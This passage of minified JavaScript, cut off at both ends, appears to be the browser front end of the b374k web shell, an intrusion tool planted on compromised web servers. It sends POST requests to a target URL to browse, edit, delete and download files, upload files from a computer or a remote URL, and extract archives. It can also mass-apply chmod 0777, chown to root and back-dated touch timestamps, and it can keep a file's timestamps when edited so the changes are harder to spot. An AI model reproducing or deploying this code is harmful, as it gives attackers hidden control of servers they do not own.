g=j,f=c;f<e;++f)0<b(a[f],a[f+1])&&(g=a[f],a[f]=a[f+1],a[f+1]=g,g=h);e--;if(!g)break;for(f=e;f>c;--f)0>b(a[f],a[f-1])&&(g=a[f],a[f]=a[f-1],a[f-1]=g,g=h);c++}}};document.addEventListener&&document.addEventListener("DOMContentLoaded",sorttable.e,j);if(/WebKit/i.test(navigator.userAgent))var k=setInterval(function(){/loaded|complete/.test(document.readyState)&&sorttable.e()},10);window.onload=sorttable.e;var n=1;function p(a){var b=h;a||(a=((this.ownerDocument||this.document||this).parentWindow||window).event,a.preventDefault=q,a.stopPropagation=r);var c=this.b[a.type],e;for(e in c)this.h=c[e],this.h(a)===j&&(b=j);return b}function q(){this.returnValue=j}function r(){this.cancelBubble=h}Array.forEach||(Array.forEach=function(a,b,c){for(var e=0;e<a.length;e++)b.call(c,a[e],e,a)});Function.prototype.forEach=function(a,b,c){for(var e in a)"undefined"==typeof this.prototype[e]&&b.call(c,a[e],e,a)};String.forEach=function(a,b,c){Array.forEach(a.split(""),function(e,g){b.call(c,e,g,a)})};function l(a,b){if(a){var c=Object;if(a instanceof Function)c=Function;else{if(a.forEach instanceof Function){a.forEach(b,void 0);return}"string"==typeof a?c=String:"number"==typeof a.length&&(c=Array)}c.forEach(a,b,void 0)}};var loading_count=0;var running=false;var defaultTab='explorer';var currentTab=$('#'+defaultTab);var tabScroll=new Object;var onDrag=false;var onScroll=false;var scrollDelta=1;var scrollCounter=0;var scrollSpeed=60;var scrollTimer='';var dragX='';var dragY='';var dragDeltaX='';var dragDeltaY='';var editSuccess='';var terminalHistory=new Array();var terminalHistoryPos=0;var evalSupported="";var evalReady=false;var resizeTimer='';var portableWidth=700;var portableMode=null;Zepto(function($){if(init_shell){var now=new Date();output("started @ "+now.toGMTString());output("cwd : "+get_cwd());output("module : "+module_to_load);show_tab();xpl_bind();eval_init();window_resize();xpl_update_status();$(window).on('resize',function(e){clearTimeout(resizeTimer);resizeTimer=setTimeout("window_resize()",1000)});$('.menuitem').on('click',function(e){selectedTab=$(this).attr('href').substr(2);show_tab(selectedTab)});$('#logout').on('click',function(e){var cookie=document.cookie.split(';');for(var i=0;i<cookie.length;i++){var entries=cookie[i],entry=entries.split("="),name=entry[0];document.cookie=name+"=''; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/"}localStorage.clear();location.href=targeturl});$('#totop').on('click',function(e){$(window).scrollTop(0)});$('#totop').on('mouseover',function(e){onScroll=true;clearTimeout(scrollTimer);start_scroll('top')});$('#totop').on('mouseout',function(e){onScroll=false;scrollCounter=0});$('#tobottom').on('click',function(e){$(window).scrollTop($(document).height()-$(window).height())});$('#tobottom').on('mouseover',function(e){onScroll=true;clearTimeout(scrollTimer);start_scroll('bottom')});$('#tobottom').on('mouseout',function(e){onScroll=false;scrollCounter=0});$('#basicInfo').on('mouseenter',function(e){$('#toggleBasicInfo').show()});$('#basicInfo').on('mouseleave',function(e){$('#toggleBasicInfo').hide()});$('#toggleBasicInfo').on('click',function(e){$('#basicInfo').hide();$('#showinfo').show();$('#toggleBasicInfo').hide();localStorage.setItem('infoBarShown','hidden')});$('#showinfo').on('click',function(e){$('#basicInfo').show();$('#showinfo').hide();localStorage.setItem('infoBarShown','shown')});if((infoBarShown=localStorage.getItem('infoBarShown'))){if(infoBarShown=='shown'){$('#basicInfo').show();$('#showinfo').hide()}else{$('#basicInfo').hide();$('#showinfo').show();$('#toggleBasicInfo').hide()}}else{info_refresh()}if(history.pushState){window.onpopstate=function(event){refresh_tab()}}else{window.historyEvent=function(event){refresh_tab()}}}});function output(str){console.log('b374k> '+str)}function window_resize(){bodyWidth=$('body').width();if(bodyWidth<=portableWidth){layout_portable()}else{layout_normal()}}function layout_portable(){nav=$('#nav');menu=$('#menu');headerNav=$('#headerNav');content=$('#content');nav.prependTo('#content');nav.css('padding','5px 8px');nav.css('margin-top','8px');nav.css('display','block');nav.addClass('border');menu.children().css('width','100%');menu.hide();$('#menuButton').remove();headerNav.prepend("<div id='menuButton' class='boxtitle' onclick=\"$('#menu').toggle();\" style='float-left;display:inline;padding:4px 8px;margin-right:8px;'>menu</div>");menu.attr('onclick',"\$('#menu').hide();");$('#xplTable tr>:nth-child(4)').hide();$('#xplTable tr>:nth-child(5)').hide();if(!win){$('#xplTable tr>:nth-child(6)').hide()}tblfoot=$('#xplTable tfoot td:last-child');if(tblfoot[0])tblfoot[0].colSpan=1;if(tblfoot[1])tblfoot[1].colSpan=2;$('.box').css('width','100%');$('.box').css('height','100%');$('.box').css('left','0px');$('.box').css('top','0px');paddingTop=$('#header').height();content.css('padding-top',paddingTop+'px');portableMode=true}function layout_normal(){nav=$('#nav');menu=$('#menu');content=$('#content');nav.insertAfter('#b374k');nav.css('padding','0');nav.css('margin-top','0');nav.css('display','inline');nav.removeClass('border');menu.children().css('width','auto');menu.show();$('#menuButton').remove();menu.attr('onclick',"");$('#xplTable tr>:nth-child(4)').show();$('#xplTable tr>:nth-child(5)').show();if(!win){$('#xplTable tr>:nth-child(6)').show();colspan=4}else colspan=3;tblfoot=$('#xplTable tfoot td:last-child');if(tblfoot[0])tblfoot[0].colSpan=colspan;if(tblfoot[1])tblfoot[1].colSpan=colspan+1;paddingTop=$('#header').height();content.css('padding-top',paddingTop+'px');portableMode=false}function start_scroll(str){if(str=='top'){to=$(window).scrollTop()-scrollCounter;scrollCounter=scrollDelta+scrollCounter;if(to<=0){to=0;onScroll=false}else if(onScroll){scrollTimer=setTimeout("start_scroll('top')",scrollSpeed);$(window).scrollTop(to)}}else if(str=='bottom'){to=$(window).scrollTop()+scrollCounter;scrollCounter=scrollDelta+scrollCounter;bottom=$(document).height()-$(window).height();if(to>=bottom){to=bottom;onScroll=false}else if(onScroll){scrollTimer=setTimeout("start_scroll('bottom')",scrollSpeed);$(window).scrollTop(to)}}}function get_cwd(){return decodeURIComponent(get_cookie('cwd'))}function fix_tabchar(el,e){if(e.keyCode==9){e.preventDefault();var s=el.selectionStart;el.value=el.value.substring(0,el.selectionStart)+" "+el.value.substring(el.selectionEnd);el.selectionEnd=s+1}}function get_cookie(key){var res;return(res=new RegExp('(?:^|; )'+encodeURIComponent(key)+'=([^;]*)').exec(document.cookie))?(res[1]):null}function set_cookie(key,value){document.cookie=key+'='+encodeURIComponent(value)}function html_safe(str){if(typeof(str)=="string"){str=str.replace(/&/g,"&");str=str.replace(/"/g,""");str=str.replace(/'/g,"'");str=str.replace(/</g,"<");str=str.replace(/>/g,">")}return str}function ucfirst(str){return str.charAt(0).toUpperCase()+str.slice(1)}function time(){var d=new Date();return d.getTime()}function send_post(targetdata,callback,loading){if(loading==null)loading_start();$.ajax({url:targeturl,type:'POST',data:targetdata,success:function(res){callback(res);if(loading==null)loading_stop()},error:function(){if(loading==null)loading_stop()}})}function loading_start(){if(!running){$('#overlay').show();running=true;loading_loop()}}function loading_loop(){if(running){img=$('#loading');img.css('transform','rotate('+loading_count+'deg)');img.css('-ms-transform','rotate('+loading_count+'deg)');img.css('-webkit-transform','rotate('+loading_count+'deg)');loading_count+=7;if(loading_count>360)loading_count=0;if(running)setTimeout("loading_loop()",20)}}function loading_stop(){if(running){img=$('#loading');img.css('transform','rotate(0deg)');img.css('-ms-transform','rotate(0deg)');img.css('-webkit-transform','rotate(0deg)');$('#overlay').hide();running=false}}function show_tab(id){if(!id){if(location.hash!='')id=location.hash.substr(2);else id=defaultTab}refresh_tab(id)}function refresh_tab(id){if(!id){if(location.hash!='')id=location.hash.substr(2);else id=defaultTab}$('.menuitemSelected').removeClass("menuitemSelected");$('#menu'+id).addClass("menuitemSelected");tabScroll[currentTab.attr('id')]=$(window).scrollTop();currentTab.hide();currentTab=$('#'+id);currentTab.show();window[id]();if(tabScroll[id]){$(window).scrollTop(tabScroll[id])}hide_box()}function trap_enter(e,callback){if(e.keyCode==13){if(callback!=null)window[callback]()}}function show_box(title,content){onDrag=false;hide_box();box="<div class='box'><p class='boxtitle'>"+title+"<span class='boxclose floatRight'>x</span></p><div class='boxcontent'>"+content+"</div><div class='boxresult'></div></div>";$('#content').append(box);box_width=$('.box').width();body_width=$('body').width();box_height=$('.box').height();body_height=$('body').height();x=(body_width-box_width)/2;y=(body_height-box_height)/2;if(x<0||portableMode)x=0;if(y<0||portableMode)y=0;if(portableMode){$('.box').css('width','100%');$('.box').css('height','100%')}$('.box').css('left',x+'px');$('.box').css('top',y+'px');$('.boxclose').on('click',function(e){hide_box()});if(!portableMode){$('.boxtitle').on('click',function(e){if(!onDrag){dragDeltaX=e.pageX-parseInt($('.box').css('left'));dragDeltaY=e.pageY-parseInt($('.box').css('top'));drag_start()}else drag_stop()})}$(document).off('keyup');$(document).on('keyup',function(e){if(e.keyCode==27)hide_box()});if($('.box input')[0])$('.box input')[0].focus()}function hide_box(){$(document).off('keyup');$('.box').remove()}function drag_start(){if(!onDrag){onDrag=true;$('body').off('mousemove');$('body').on('mousemove',function(e){dragX=e.pageX;dragY=e.pageY});setTimeout('drag_loop()',50)}}function drag_loop(){if(onDrag){x=dragX-dragDeltaX;y=dragY-dragDeltaY;if(y<0)y=0;$('.box').css('left',x+'px');$('.box').css('top',y+'px');setTimeout('drag_loop()',50)}}function drag_stop(){onDrag=false;$('body').off('mousemove')}function get_all_cbox_selected(id,callback){var buffer=new Array();$('#'+id).find('.cBoxSelected').not('.cBoxAll').each(function(i){if((href=window[callback]($(this)))){buffer[i]=href}});return buffer}function cbox_bind(id,callback){$('#'+id).find('.cBox').off('click');$('#'+id).find('.cBoxAll').off('click');$('#'+id).find('.cBox').on('click',function(e){if($(this).hasClass('cBoxSelected')){$(this).removeClass('cBoxSelected')}else $(this).addClass('cBoxSelected');if(callback!=null)window[callback]()});$('#'+id).find('.cBoxAll').on('click',function(e){if($(this).hasClass('cBoxSelected')){$('#'+id).find('.cBox').removeClass('cBoxSelected');$('#'+id).find('.cBoxAll').removeClass('cBoxSelected')}else{$('#'+id).find('.cBox').not('.cBoxException').addClass('cBoxSelected');$('#'+id).find('.cBoxAll').not('.cBoxException').addClass('cBoxSelected')}if(callback!=null)window[callback]()})}function action(path,type){title="Action";content='';if(type=='file')content="<table class='boxtbl'><tr><td><input type='text' value='"+path+"' disabled></td></tr><tr data-path='"+path+"'><td><span class='edit button'>edit</span><span class='ren button'>rename</span><span class='del button'>delete</span><span class='dl button'>download</span></td></tr></table>";if(type=='dir')content="<table class='boxtbl'><tr><td><input type='text' value='"+path+"' disabled></td></tr><tr data-path='"+path+"'><td><span class='find button'>find</span><span class='ul button'>upload</span><span class='ren button'>rename</span><span class='del button'>delete</span></td></tr></table>";if(type=='dot')content="<table class='boxtbl'><tr><td><input type='text' value='"+path+"' disabled></td></tr><tr data-path='"+path+"'><td><span class='find button'>find</span><span class='ul button'>upload</span><span class='ren button'>rename</span><span class='del button'>delete</span><span class='newfile button'>new file</span><span class='newfolder button'>new folder</span></td></tr></table>";show_box(title,content);xpl_bind()}function navigate(path,showfiles){if(showfiles==null)showfiles='true';send_post({cd:path,showfiles:showfiles},function(res){if(res!='error'){splits=res.split('{[|b374k|]}');if(splits.length==3){$('#nav').html(splits[1]);if(showfiles=='true'){$('#explorer').html('');$('#explorer').html(splits[2]);sorttable.k($('#xplTable').get(0))}$('#terminalCwd').html(html_safe(get_cwd())+'>');xpl_bind();window_resize()}}})}function view(path,type,preserveTimestamp){if(preserveTimestamp==null)preserveTimestamp='true';send_post({viewFile:path,viewType:type,preserveTimestamp:preserveTimestamp},function(res){if(res!='error'){$('#explorer').html('');$('#explorer').html(res);xpl_bind();show_tab('explorer');if((type=='edit')||(type=='hex')){editResult=(type=='edit')?$('#editResult'):$('#editHexResult');if(editSuccess=='success'){editResult.html(' ( File saved )')}else if(editSuccess=='error'){editResult.html(' ( Failed to save file )')}editSuccess=''}cbox_bind('editTbl')}})}function view_entry(el){if($(el).attr('data-path')!=''){entry=$(el).attr('data-path');$('#form').append("<input type='hidden' name='viewEntry' value='"+entry+"'>");$('#form').submit();$('#form').html('')}}function ren(path){title="Rename";content="<table class='boxtbl'><tr><td class='colFit'>Rename to</td><td><input type='text' class='renameFileTo' value='"+path+"' onkeydown=\"trap_enter(event, 'ren_go');\"><input type='hidden' class='renameFile' value='"+path+"'></td></tr><tr><td colspan='2'><span class='button' onclick='ren_go();'>rename</span></td></tr></table>";show_box(title,content)}function ren_go(){renameFile=$('.renameFile').val();renameFileTo=$('.renameFileTo').val();send_post({renameFile:renameFile,renameFileTo:renameFileTo},function(res){if(res!='error'){navigate(res);$('.boxresult').html('Operation(s) succeeded');$('.renameFile').val($('.renameFileTo').val())}else $('.boxresult').html('Operation(s) failed')})}function newfolder(path){title="New Folder";path=path+'newfolder-'+time();content="<table class='boxtbl'><tr><td class='colFit'>Folder Name</td><td><input type='text' class='newFolder' value='"+path+"' onkeydown=\"trap_enter(event, 'newfolder_go');\"></td></tr><tr><td colspan='2'><span class='button' onclick='newfolder_go();'>create</span></td></tr></table>";show_box(title,content)}function newfolder_go(){newFolder=$('.newFolder').val();send_post({newFolder:newFolder},function(res){if(res!='error'){navigate(res);$('.boxresult').html('Operation(s) succeeded')}else $('.boxresult').html('Operation(s) failed')})}function newfile(path){title="New File";path=path+'newfile-'+time();content="<table class='boxtbl'><tr><td class='colFit'>File Name</td><td><input type='text' class='newFile' value='"+path+"' onkeydown=\"trap_enter(event, 'newfile_go');\"></td></tr><tr><td colspan='2'><span class='button' onclick='newfile_go();'>create</span></td></tr></table>";show_box(title,content)}function newfile_go(){newFile=$('.newFile').val();send_post({newFile:newFile},function(res){if(res!='error'){view(newFile,'edit');$('.boxresult').html('Operation(s) succeeded')}else $('.boxresult').html('Operation(s) failed')})}function viewfileorfolder(){title="View File / Folder";content="<table class='boxtbl'><tr><td><input type='text' class='viewFileorFolder' value='"+html_safe(get_cwd())+"' onkeydown=\"trap_enter(event, 'viewfileorfolder_go');\"></td></tr><tr><td><span class='button' onclick='viewfileorfolder_go();'>view</span></td></tr></table>";show_box(title,content)}function viewfileorfolder_go(){entry=$('.viewFileorFolder').val();send_post({viewFileorFolder:entry},function(res){if(res!='error'){if(res=='file'){view(entry,'auto');show_tab('explorer')}else if(res=='folder'){navigate(entry);show_tab('explorer')}}})}function del(path){title="Delete";content="<table class='boxtbl'><tr><td class='colFit'>Delete</td><td><input type='text' class='delete' value='"+path+"' onkeydown=\"trap_enter(event, 'delete_go');\"></td></tr><tr><td colspan='2'><span class='button' onclick='delete_go();'>delete</span></td></tr></table>";show_box(title,content)}function delete_go(){path=$('.delete').val();send_post({delete:path},function(res){if(res!='error'){navigate(res);$('.boxresult').html('Operation(s) succeeded')}else $('.boxresult').html('Operation(s) failed')})}function find(path){findfile="<table class='boxtbl'><thead><tr><th colspan='2'><p class='boxtitle'>Find File</p></th></tr></thead><tbody><tr><td style='width:144px'>Search in</td><td><input type='text' class='findfilePath' value='"+path+"' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td style='border-bottom:none;'>Filename contains</td><td style='border-bottom:none;'><input type='text' class='findfileFilename' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td></td><td><span class='cBox findfileFilenameRegex'></span><span class='floatLeft'>Regex</span> <span class='cBox findfileFilenameInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td style='border-bottom:none;'>File contains</td><td style='border-bottom:none;'><input type='text' class='findfileContains' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td></td><td><span class='cBox findfileContainsRegex'></span><span class='floatLeft'>Regex</span> <span class='cBox findfileContainsInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td>Permissions</td><td><span class='cBox findfileReadable'></span><span class='floatLeft'>Readable</span> <span class='cBox findfileWritable'></span><span class='floatLeft'>Writable</span> <span class='cBox findfileExecutable'></span><span class='floatLeft'>Executable</span></td></tr></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"find_go_file();\">find</span></td></tr><tr><td colspan='2' class='findfileResult'></td></tr></tfoot></table>";findfolder="<table class='boxtbl'><thead><tr><th colspan='2'><p class='boxtitle'>Find Folder</p></th></tr></thead><tbody><tr><td style='width:144px'>Search in</td><td><input type='text' class='findFolderPath' value='"+path+"' onkeydown=\"trap_enter(event, 'find_go_folder');\"></td></tr><tr><td style='border-bottom:none;'>Foldername contains</td><td style='border-bottom:none;'><input type='text' class='findFoldername' onkeydown=\"trap_enter(event, 'find_go_folder');\"></td></tr><tr><td></td><td><span class='cBox findFoldernameRegex'></span><span class='floatLeft'>Regex</span> <span class='cBox findFoldernameInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td>Permissions</td><td><span class='cBox findReadable'></span><span class='floatLeft'>Readable</span> <span class='cBox findWritable'></span><span class='floatLeft'>Writable</span> <span class='cBox findExecutable'></span><span class='floatLeft'>Executable</span></td></tr></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"find_go_folder();\">find</span></td></tr><tr><td colspan='2' class='findResult'></td></tr></tfoot></table>";$('#explorer').html("<div id='xplUpload'>"+findfile+'<br>'+findfolder+'</div>');cbox_bind('xplUpload')}function find_go_file(){find_go('file')}function find_go_folder(){find_go('folder')}function find_go(findType){findPath=(findType=='file')?$('.findfilePath').val():$('.findFolderPath').val();findResult=(findType=='file')?$('.findfileResult'):$('.findResult');findName=(findType=='file')?$('.findfileFilename').val():$('.findFoldername').val();findNameRegex=(findType=='file')?$('.findfileFilenameRegex').hasClass('cBoxSelected').toString():$('.findFoldernameRegex').hasClass('cBoxSelected').toString();findNameInsensitive=(findType=='file')?$('.findfileFilenameInsensitive').hasClass('cBoxSelected').toString():$('.findFoldernameInsensitive').hasClass('cBoxSelected').toString();findContent=(findType=='file')?$('.findfileContains').val():"";findContentRegex=(findType=='file')?$('.findfileContainsRegex').hasClass('cBoxSelected').toString():"";findContentInsensitive=(findType=='file')?$('.findfileContainsInsensitive').hasClass('cBoxSelected').toString():"";findReadable=(findType=='file')?$('.findfileReadable').hasClass('cBoxSelected').toString():$('.findWritable').hasClass('cBoxSelected').toString();findWritable=(findType=='file')?$('.findfileWritable').hasClass('cBoxSelected').toString():$('.findReadable').hasClass('cBoxSelected').toString();findExecutable=(findType=='file')?$('.findfileExecutable').hasClass('cBoxSelected').toString():$('.findExecutable').hasClass('cBoxSelected').toString();send_post({findType:findType,findPath:findPath,findName:findName,findNameRegex:findNameRegex,findNameInsensitive:findNameInsensitive,findContent:findContent,findContentRegex:findContentRegex,findContentInsensitive:findContentInsensitive,findReadable:findReadable,findWritable:findWritable,findExecutable:findExecutable},function(res){if(res!='error'){findResult.html(res)}})}function ul_go_comp(){ul_go('comp')}function ul_go_url(){ul_go('url')}function ul(path){ulcomputer="<table class='boxtbl ulcomp'><thead><tr><th colspan='2'><p class='boxtitle'>Upload From Computer <a onclick='ul_add_comp();'>(+)</a></p></th></tr></thead><tbody class='ulcompadd'></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"ul_go_comp();\">upload</span></td></tr><tr><td colspan='2' class='ulCompResult'></td></tr><tr><td colspan='2'><div id='ulDragNDrop'>Or Drag and Drop files here</div></td></tr><tr><td colspan='2' class='ulDragNDropResult'></td></tr></tfoot></table>";ulurl="<table class='boxtbl ulurl'><thead><tr><th colspan='2'><p class='boxtitle'>Upload From Url <a onclick='ul_add_url();'>(+)</a></p></th></tr></thead><tbody class='ulurladd'></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"ul_go_url();\">upload</span></td></tr><tr><td colspan='2' class='ulUrlResult'></td></tr></tfoot></table>";content=ulcomputer+'<br>'+ulurl+"<input type='hidden' class='ul_path' value='"+path+"'>";$('#explorer').html(content);ul_add_comp();ul_add_url();$('#ulDragNDrop').on('dragenter',function(e){e.stopPropagation();e.preventDefault()});$('#ulDragNDrop').on('dragover',function(e){e.stopPropagation();e.preventDefault()});$('#ulDragNDrop').on('drop',function(e){e.stopPropagation();e.preventDefault();files=e.target.files||e.dataTransfer.files;ulResult=$('.ulDragNDropResult');ulResult.html('');$.each(files,function(i){if(this){ulType='DragNDrop';filename=this.name;var formData=new FormData();formData.append('ulFile',this);formData.append('ulSaveTo',get_cwd());formData.append('ulFilename',filename);formData.append('ulType','comp');entry="<p class='ulRes"+ulType+i+"'><span class='strong'>></span> <a onclick='view_entry(this);' class='ulFilename"+ulType+i+"'>"+filename+"</a> <span class='ulProgress"+ulType+i+"'></span></p>";ulResult.append(entry);if(this.size<=0){$('.ulProgress'+ulType+i).html('( failed )');$('.ulProgress'+ulType+i).removeClass('ulProgress'+ulType+i);$('.ulFilename'+ulType+i).removeClass('ulFilename'+ulType+i)}else{ul_start(formData,ulType,i)}}})})}function ul_add_comp(path){path=html_safe($('.ul_path').val());$('.ulcompadd').append("<tr><td style='width:144px'>File</td><td><input type='file' class='ulFileComp'></td></tr><tr><td>Save to</td><td><input type='text' class='ulSaveToComp' value='"+path+"' onkeydown=\"trap_enter(event, 'ul_go_comp');\"></td></tr><tr><td>Filename (Optional)</td><td><input type='text' class='ulFilenameComp' onkeydown=\"trap_enter(event, 'ul_go_comp');\"></td></tr>")}function ul_add_url(path){path=html_safe($('.ul_path').val());$('.ulurladd').append("<tr><td style='width:144px'>File URL</td><td><input type='text' class='ulFileUrl' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr><tr><td>Save to</td><td><input type='text' class='ulSaveToUrl' value='"+path+"' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr><tr><td>Filename (Optional)</td><td><input type='text' class='ulFilenameUrl' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr>")}function ul_start(formData,ulType,i){loading_start();$.ajax({url:targeturl,type:'POST',data:formData,cache:false,contentType:false,processData:false,xhr:function(){myXhr=$.ajaxSettings.xhr();if(myXhr.upload){myXhr.upload.addEventListener('progress',function(e){percent=Math.floor(e.loaded/e.total*100);$('.ulProgress'+ulType+i).html('( '+percent+'% )')},false)}return myXhr},success:function(res){if(res.match(/Warning.*POST.*Content-Length.*of.*bytes.*exceeds.*the.*limit.*of/)){res='error'}if(res=='error'){$('.ulProgress'+ulType+i).html('( failed )')}else{$('.ulRes'+ulType+i).html(res)}loading_stop()},error:function(){loading_stop();$('.ulProgress'+ulType+i).html('( failed )');$('.ulProgress'+ulType+i).removeClass('ulProgress'+ulType+i);$('.ulFilename'+ulType+i).removeClass('ulFilename'+ulType+i)}})}function ul_go(ulType){ulFile=(ulType=='comp')?$('.ulFileComp'):$('.ulFileUrl');ulResult=(ulType=='comp')?$('.ulCompResult'):$('.ulUrlResult');ulResult.html('');ulFile.each(function(i){if(((ulType=='comp')&&this.files[0])||((ulType=='url')&&(this.value!=''))){file=(ulType=='comp')?this.files[0]:this.value;filename=(ulType=='comp')?file.name:file.substring(file.lastIndexOf('/')+1);ulSaveTo=(ulType=='comp')?$('.ulSaveToComp')[i].value:$('.ulSaveToUrl')[i].value;ulFilename=(ulType=='comp')?$('.ulFilenameComp')[i].value:$('.ulFilenameUrl')[i].value;var formData=new FormData();formData.append('ulFile',file);formData.append('ulSaveTo',ulSaveTo);formData.append('ulFilename',ulFilename);formData.append('ulType',ulType);entry="<p class='ulRes"+ulType+i+"'><span class='strong'>></span> <a onclick='view_entry(this);' class='ulFilename"+ulType+i+"'>"+filename+"</a> <span class='ulProgress"+ulType+i+"'></span></p>";ulResult.append(entry);check=true;if(ulType=='comp'){check=(file.size<=0)}else check=(file=="");if(check){$('.ulProgress'+ulType+i).html('( failed )');$('.ulProgress'+ulType+i).removeClass('ulProgress'+ulType+i);$('.ulFilename'+ulType+i).removeClass('ulFilename'+ulType+i)}else{ul_start(formData,ulType,i)}}})}function trap_ctrl_enter(el,e,callback){if(e.ctrlKey&&(e.keyCode==10||e.keyCode==13)){if(callback!=null)window[callback]()}fix_tabchar(el,e)}function edit_save_raw(){edit_save('edit')}function edit_save_hex(){edit_save('hex')}function edit_save(editType){editFilename=$('#editFilename').val();editInput=$('#editInput').val();editSuccess=false;preserveTimestamp='false';if($('.cBox').hasClass('cBoxSelected'))preserveTimestamp='true';send_post({editType:editType,editFilename:editFilename,editInput:editInput,preserveTimestamp:preserveTimestamp},function(res){if(res!='error'){editSuccess='success';view(editFilename,editType,preserveTimestamp)}else editSuccess='error'})}function mass_act(type){buffer=get_all_cbox_selected('xplTable','xpl_href');if((type=='cut')||(type=='copy')){localStorage.setItem('bufferLength',buffer.length);localStorage.setItem('bufferAction',type);$.each(buffer,function(i,v){localStorage.setItem('buffer_'+i,v)})}else if(type=='paste'){bufferLength=localStorage.getItem('bufferLength');bufferAction=localStorage.getItem('bufferAction');if(bufferLength>0){massBuffer='';for(var i=0;i<bufferLength;i++){if((buff=localStorage.getItem('buffer_'+i))){massBuffer+=buff+'
'}}massBuffer=$.trim(massBuffer);if(bufferAction=='cut')title='move';else if(bufferAction=='copy')title='copy';content="<table class='boxtbl'><tr><td colspan='2'><textarea class='massBuffer' style='height:120px;min-height:120px;' disabled>"+massBuffer+"</textarea></td></tr><tr><td class='colFit'>"+title+" here</td><td><input type='text' value='"+html_safe(get_cwd())+"' onkeydown=\"trap_enter(event, 'mass_act_go_paste');\"></td></tr><tr><td colspan='2'><span class='button' onclick=\"mass_act_go('paste');\">"+title+"</span></td></tr></table>";show_box(ucfirst(title),content)}}else if((type=='extract (tar)')||(type=='extract (tar.gz)')||(type=='extract (zip)')){if(type=='extract (tar)')arcType='untar';else if(type=='extract (tar.gz)')arcType='untargz';else if(type=='extract (zip)')arcType='unzip';if(buffer.length>0){massBuffer='';$.each(buffer,function(i,v){massBuffer+=v+'
'});massBuffer=$.trim(massBuffer);title=type;content="<table class='boxtbl'><tr><td colspan='2'><textarea class='massBuffer' style='height:120px;min-height:120px;' wrap='off' disabled>"+massBuffer+"</textarea></td></tr><tr><td class='colFit'>Extract to</td><td><input class='massValue' type='text' value='"+html_safe(get_cwd())+"'onkeydown=\"trap_enter(event, 'mass_act_go_"+arcType+"');\"></td></tr><tr><td colspan='2'><span class='button' onclick=\"mass_act_go('"+arcType+"');\">extract</span></td></tr></table>";show_box(ucfirst(title),content)}}else if((type=='compress (tar)')||(type=='compress (tar.gz)')||(type=='compress (zip)')){date=new Date();rand=date.getTime();if(type=='compress (tar)'){arcType='tar';arcFilename=rand+'.tar'}else if(type=='compress (tar.gz)'){arcType='targz';arcFilename=rand+'.tar.gz'}else if(type=='compress (zip)'){arcType='zip';arcFilename=rand+'.zip'}if(buffer.length>0){massBuffer='';$.each(buffer,function(i,v){massBuffer+=v+'
'});massBuffer=$.trim(massBuffer);title=type;content="<table class='boxtbl'><tr><td colspan='2'><textarea class='massBuffer' style='height:120px;min-height:120px;' wrap='off' disabled>"+massBuffer+"</textarea></td></tr><tr><td class='colFit'>Archive</td><td><input class='massValue' type='text' value='"+arcFilename+"' onkeydown=\"trap_enter(event, 'mass_act_go_"+arcType+"');\"></td></tr><tr><td colspan='2'><span class='button' onclick=\"mass_act_go('"+arcType+"');\">compress</span></td></tr></table>";show_box(ucfirst(title),content)}}else if(type!=''){if(buffer.length>0){massBuffer='';$.each(buffer,function(i,v){massBuffer+=v+'
'});massBuffer=$.trim(massBuffer);title=type;line='';if(type=='chmod')line="<tr><td class='colFit'>chmod</td><td><input class='massValue' type='text' value='0777' onkeydown=\"trap_enter(event, 'mass_act_go_"+type+"');\"></td></tr>";else if(type=='chown')line="<tr><td class='colFit'>chown</td><td><input class='massValue' type='text' value='root' onkeydown=\"trap_enter(event, 'mass_act_go_"+type+"');\"></td></tr>";else if(type=='touch'){var now=new Date();line="<tr><td class='colFit'>touch</td><td><input class='massValue' type='text' value='"+now.toGMTString()+"' onkeydown=\"trap_enter(event, 'mass_act_go_"+type+"');\"></td></tr>"}content="<table class='boxtbl'><tr><td colspan='2'><textarea class='massBuffer' style='height:120px;min-height:120px;' wrap='off' disabled>"+massBuffer+"</textarea></td></tr>"+line+"<tr><td colspan='2'><span class='button' onclick=\"mass_act_go('"+type+"');\">"+title+"</span></td></tr></table>";show_box(ucfirst(title),content)}}$('.cBoxSelected').removeClass('cBoxSelected');xpl_update_status()}function mass_act_go_tar(){mass_act_go('tar')}function mass_act_go_targz(){mass_act_go('targz')}function mass_act_go_zip(){mass_act_go('zip')}function mass_act_go_untar(){mass_act_go('untar')}function mass_act_go_untargz(){mass_act_go('untargz')}function mass_act_go_unzip(){mass_act_go('unzip')}function mass_act_go_paste(){mass_act_go('paste')}function mass_act_go_chmod(){mass_act_go('chmod')}function mass_act_go_chown(){mass_act_go('chown')}function mass_act_go_touch(){mass_act_go('touch')}function mass_act_go(massType){massBuffer=$.trim($('.massBuffer').val());massPath=get_cwd();massValue='';if(massType=='paste'){bufferLength=localStorage.getItem('bufferLength');bufferAction=localStorage.getItem('bufferAction');if(bufferLength>0){massBuffer='';for(var i=0;i<bufferLength;i++){if((buff=localStorage.getItem('buffer_'+i))){massBuffer+=buff+'
